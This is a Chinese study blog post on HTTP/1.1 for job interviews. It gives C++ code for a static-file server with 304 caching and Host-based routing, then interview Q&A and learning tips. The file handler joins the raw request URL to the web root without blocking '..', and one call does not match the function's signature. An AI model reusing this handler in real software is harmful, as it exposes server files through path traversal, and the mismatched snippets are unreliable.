void HttpServer::handleStaticFile(const HttpRequest& req, HttpResponse& resp) {std::string filepath = "/var/www" + req.url;// 获取文件信息struct stat st;if (stat(filepath.c_str(), &st) != 0) {// 文件不存在resp.status_code = 404;resp.status_text = "Not Found";resp.body = "File not found";return;}// 获取文件修改时间time_t file_mtime = st.st_mtime;// 转换为HTTP时间格式char time_buf[128];struct tm* tm = gmtime(&file_mtime);strftime(time_buf, sizeof(time_buf), "%a, %d %b %Y %H:%M:%S GMT", tm);// 检查If-Modified-Since头auto it = req.headers.find("If-Modified-Since");if (it != req.headers.end()) {// 有If-Modified-Since,进行缓存验证if (it->second == std::string(time_buf)) {// 文件未修改,返回304resp.status_code = 304;resp.status_text = "Not Modified";resp.headers["Last-Modified"] = time_buf;// 不设置body,304不返回响应体return;}}// 文件被修改或第一次请求,返回200// 读取文件内容std::ifstream file(filepath, std::ios::binary);if (!file.is_open()) {resp.status_code = 500;resp.status_text = "Internal Server Error";resp.body = "Cannot open file";return;}std::ostringstream oss;oss << file.rdbuf();resp.body = oss.str();// 设置响应头resp.status_code = 200;resp.status_text = "OK";resp.headers["Content-Type"] = getContentType(filepath);resp.headers["Last-Modified"] = time_buf;resp.headers["Cache-Control"] = "max-age=3600"; // 缓存1小时
}std::string HttpServer::getContentType(const std::string& filepath) {if (filepath.ends_with(".html")) return "text/html";if (filepath.ends_with(".css")) return "text/css";if (filepath.ends_with(".js")) return "application/javascript";if (filepath.ends_with(".json")) return "application/json";if (filepath.ends_with(".png")) return "image/png";if (filepath.ends_with(".jpg") || filepath.ends_with(".jpeg")) return "image/jpeg";return "application/octet-stream";
}

关键点:

  1. 使用stat获取文件修改时间
  2. 转换为HTTP时间格式:"%a, %d %b %Y %H:%M:%S GMT"
  3. 比较If-Modified-Since和文件修改时间
  4. 相同返回304,不同返回200 + 文件内容
  5. 304响应不设置body

6.5 Host头路由实现

根据Host头路由到不同的网站目录。

void HttpServer::handleRequest(const HttpRequest& req, HttpResponse& resp) {// HTTP/1.1必须有Host头auto it = req.headers.find("Host");if (it == req.headers.end()) {resp.status_code = 400;resp.status_text = "Bad Request";resp.body = "Missing Host header";return;}std::string host = it->second;// 根据Host路由std::string document_root;if (host == "www.example.com" || host == "www.example.com:80") {document_root = "/var/www/example";} else if (host == "www.test.com" || host == "www.test.com:80") {document_root = "/var/www/test";} else if (host == "localhost" || host == "localhost:8080") {document_root = "/var/www/localhost";} else {resp.status_code = 404;resp.status_text = "Not Found";resp.body = "Unknown host: " + host;return;}// 构造完整文件路径std::string filepath = document_root + req.url;// 处理静态文件handleStaticFile(filepath, req, resp);
}

关键点:

  1. HTTP/1.1必须检查Host头
  2. 缺失Host头返回400 Bad Request
  3. 根据Host头选择不同的文档根目录
  4. 注意Host头可能包含端口号(如www.example.com:80

七、面试要点总结

7.1 必背知识点

HTTP基础(80%概率):

  1. HTTP请求和响应格式

    • 请求:请求行 + 请求头 + 空行 + 请求体
    • 响应:状态行 + 响应头 + 空行 + 响应体
  2. 10个常用状态码

    • 2xx:200 OK
    • 3xx:301 Moved Permanently, 302 Found, 304 Not Modified
    • 4xx:400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
    • 5xx:500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable
  3. GET vs POST

    • 参数位置、长度、安全性、缓存、幂等性、语义
  4. 幂等性

    • 定义:多次执行结果与一次相同
    • 幂等:GET, PUT, DELETE
    • 非幂等:POST
  5. Cookie和Session

    • Cookie:客户端,4KB,Set-Cookie设置
    • Session:服务器端,无限制,Redis存储
    • 登录流程:POST登录 → Set-Cookie → 后续请求携带Cookie → 服务器验证
  6. HttpOnly

    • 防止JavaScript读取Cookie
    • 防止XSS攻击

HTTP/1.1特性(60%概率):

  1. 持久连接(Keep-Alive)

    • 一个TCP连接处理多个请求
    • 减少握手开销
    • HTTP/1.1默认开启
    • Connection: keep-alive
  2. 缓存验证机制

    • Last-Modified / If-Modified-Since:基于时间,秒级精度
    • ETag / If-None-Match:基于内容,字节级精度
    • 304 Not Modified:不返回响应体,节省带宽
  3. Host头

    • HTTP/1.1必须
    • 支持虚拟主机
    • 一个IP部署多个网站
  4. 分块传输编码

    • Transfer-Encoding: chunked
    • 边生成边发送
    • 适合动态内容和大文件

7.2 高频面试题

Q1: GET和POST的区别?

回答框架:

从7个方面回答:1. 参数位置:GET在URL中,POST在请求体中
2. 参数长度:GET有限制(~2KB),POST无限制
3. 安全性:GET参数可见,POST参数不可见
4. 缓存:GET可缓存,POST不缓存
5. 幂等性:GET幂等,POST非幂等
6. 历史记录:GET保留,POST不保留
7. 语义:GET获取资源,POST提交/修改资源举例说明幂等性:GET /api/user?id=123 - 多次获取结果相同POST /api/orders - 多次创建多个订单

Q2: HTTP状态码304的作用?

回答框架:

1. 定义:304 Not Modified表示资源未修改,可以使用缓存2. 工作流程:第1次请求:服务器返回200 + Last-Modified + 数据第2次请求:客户端发送If-Modified-Since服务器验证:时间相同 → 返回304,无响应体浏览器:使用本地缓存3. 作用:- 节省带宽(不返回数据)- 降低服务器负载- 提升加载速度4. 项目实现:使用stat获取文件修改时间比较If-Modified-Since和当前时间相同返回304,不同返回200

Q3: Cookie和Session的区别?如何配合使用?

回答框架:

1. 区别:- 存储位置:Cookie客户端,Session服务器端- 容量:Cookie ~4KB,Session无限制- 安全性:Cookie低,Session高2. 配合使用(登录流程):步骤1:用户POST /api/login提交用户名密码步骤2:服务器验证成功,创建Session(Redis)步骤3:服务器返回Set-Cookie: sessionid=xxx步骤4:浏览器保存Cookie步骤5:后续请求自动携带Cookie步骤6:服务器通过sessionid查询Session,识别用户3. 项目实现:登录时:验证密码 → 创建Session → Set-Cookie后续请求:解析Cookie → 查询Session → 验证身份

Q4: HTTP/1.1相比HTTP/1.0有哪些改进?

回答框架:

4个核心改进:1. 持久连接(Keep-Alive):HTTP/1.0:每次请求新连接,6个RTTHTTP/1.1:复用连接,4个RTT,节省2个RTT2. 缓存机制:HTTP/1.0:简单的ExpiresHTTP/1.1:Last-Modified、ETag、304 Not Modified3. Host头:HTTP/1.0:一个IP一个网站HTTP/1.1:Host头支持虚拟主机,一个IP多个网站4. 分块传输:HTTP/1.0:不支持HTTP/1.1:Transfer-Encoding: chunked,边生成边发送性能对比:同样请求3个资源HTTP/1.0:6个RTTHTTP/1.1:4个RTT提升33%

Q5: 在你的项目中如何实现HTTP服务器?

回答框架:

我的Reactor项目实现了完整的HTTP服务器:1. 基础功能:- HTTP请求解析:请求行、请求头、请求体- HTTP响应构造:状态行、响应头、响应体- 状态码处理:200、404、500等2. 持久连接:- 循环处理同一连接的多个请求- 检查Connection头- HTTP/1.1默认keep-alive3. 缓存验证:- 使用stat获取文件修改时间- 设置Last-Modified响应头- 解析If-Modified-Since请求头- 返回304 Not Modified4. Host头路由:- 检查Host头(HTTP/1.1必须)- 根据Host选择不同文档根目录- 支持虚拟主机5. 项目亮点:- 使用epoll支持高并发- 非阻塞IO处理请求- 支持Keep-Alive减少握手开销- 实现304缓存优化带宽代码示例:[展示核心代码片段]

7.3 项目亮点

在面试中,要能够清晰地说出项目的亮点:

1. 完整的HTTP协议支持

不是简单的echo服务器,而是完整的HTTP服务器
- 支持GET、POST、PUT、DELETE等方法
- 支持各种状态码(200、304、404、500等)
- 支持JSON、HTML、图片等多种Content-Type

2. HTTP/1.1核心特性

- 持久连接(Keep-Alive):减少TCP握手开销
- 缓存验证(Last-Modified、304):优化带宽
- Host头路由:支持虚拟主机
- 分块传输(可选):支持大文件和实时流

3. 性能优化

- epoll多路复用:支持高并发连接
- 非阻塞IO:避免阻塞在慢速客户端
- 持久连接:减少33%的RTT开销
- 缓存机制:减少99%的带宽占用

4. 实际应用场景

可以用来:
- 部署静态网站(HTML、CSS、JS)
- 提供REST API(JSON接口)
- 文件下载服务器
- 反向代理(结合上游服务器)

八、学习心得与建议

经过这段时间对HTTP协议的学习,我有一些心得体会:

1. 理论与实践结合

单纯学习HTTP协议格式很枯燥,但当我尝试在Reactor项目中实现HTTP服务器时,每个知识点都变得具体了:

  • 为什么需要\r\n?因为HTTP协议规定的行分隔符
  • 为什么需要Content-Length?因为要知道何时停止接收数据
  • 为什么需要Host头?因为要支持虚拟主机

2. 抓住核心知识点

HTTP协议内容很多,但面试考察的核心就那几个:

  • 请求/响应格式(必考)
  • 状态码(必考10个)
  • GET vs POST(必考)
  • 持久连接(高频)
  • 缓存机制(高频)
  • Cookie/Session(高频)

先把这些核心点掌握透,再扩展其他内容。

3. 理解"为什么"

不要死记硬背,要理解设计原因:

  • 为什么HTTP/1.1需要持久连接?因为HTTP/1.0每次都要三次握手,太慢了
  • 为什么需要304 Not Modified?因为要节省带宽,提升性能
  • 为什么需要HttpOnly?因为要防止XSS攻击窃取Cookie

理解了"为什么",面试时才能说得清楚。

4. 项目是最好的简历

当我能够说出"我的项目实现了HTTP持久连接,支持304缓存验证"时,面试官的反应明显不同。项目不仅仅是代码,更是对协议的深入理解。

5. 循序渐进

HTTP协议的学习路径:

第1步:理解基础(请求/响应格式、状态码)
第2步:掌握核心(GET vs POST、Cookie/Session)
第3步:深入特性(持久连接、缓存机制)
第4步:项目实现(在Reactor中实现HTTP服务器)
第5步:性能优化(epoll、非阻塞IO、缓存)

不要一开始就想着全部学会,一步步来,每天进步一点。

6. 面试准备

准备面试时,建议:

  • 闭卷画出HTTP请求和响应格式
  • 闭卷写出10个常用状态码
  • 能流利地说出GET vs POST的7个区别
  • 能画出Cookie/Session的登录流程图
  • 能解释持久连接和缓存机制的工作原理
  • 能展示项目中的HTTP实现代码

把这些练习到闭卷都能写出来,面试就稳了。


学习时间线:

  • Day 5(11.1):HTTP基础、请求/响应格式、状态码、GET vs POST、Cookie/Session
  • Day 6(11.2):HTTP/1.1特性、持久连接、缓存机制、Host头、分块传输
  • 总计:约4小时视频 + 2小时AI讲解 + 3小时项目实现 + 2小时整理笔记

下一步计划:

  • Week 2:HTTP/2.0、HTTPS、WebSocket
  • Week 3:复习巩固,刷题,准备面试

总结

HTTP协议是Web开发的基础,也是网络编程面试的重点。通过这两天的学习,我不仅掌握了HTTP的核心知识,还在Reactor项目中实现了完整的HTTP服务器。更重要的是,我理解了HTTP设计背后的原因,以及如何通过持久连接、缓存机制等特性来优化性能。

这个学习过程让我深刻体会到:理论知识必须和实践结合,才能真正掌握。当我能够用代码实现HTTP协议时,每个字段、每个状态码都不再是抽象的概念,而是具体的、可以调试的代码。

希望这篇文章能帮助你系统地理解HTTP协议,也希望你能在自己的项目中实践这些知识。加油!


http://www.dtcms.com/a/568572.html

相关文章:

  • NEWBASIC 2.06.7 API 帮助与用户使用手册
  • python MongoDB 基础
  • 在Ubuntu系统上安装英伟达(NVIDIA)RTX 3070 Ti的驱动程序
  • SpringBoot同时使用MyBatis事务以及MongoDB事务
  • 上海建筑网站大全贵阳网页设计培训班
  • jQuery UI 小部件方法调用
  • Robot栏配置
  • 基于openresty实现短链接跳长链接服务
  • tcl脚本|异步FIFO约束
  • C语言基础之指针
  • 郑州网站制作工具龙岩网站建设馨烨
  • 沈阳网站建设的公司软件网站下载免费
  • iOS SwiftUI 动画开发指南
  • LeetCode算法学习之验证回文串
  • 深入掌握 OpenCV-Python:从图像处理到智能视觉
  • 运输层协议概述及UDP
  • 【多所高校合作】第四届图像处理、计算机视觉与机器学习国际学术会议(ICICML 2025)
  • 什么网站做h5做得好登录不上wordpress
  • 个人制作的网站模板自助建站自己要做网站的来看下
  • 第十五周Fscan和利用漏洞上线远程和数据库提权上线远控
  • 第5章 所有权系统
  • 从零开始学Flink:事件驱动
  • 机器学习实现逻辑回归-癌症分类预测
  • Kafka 从入门到精通完整指南
  • 常见二三维GIS数据分类及处理流程图
  • LLM结构化输出:约束解码、CFG和response_format
  • 做网站麻烦不文山网站建设求职简历
  • wordpress网站静态页面外国食品优秀设计网站
  • hybrid
  • C++中malloc、free和new、delete的区别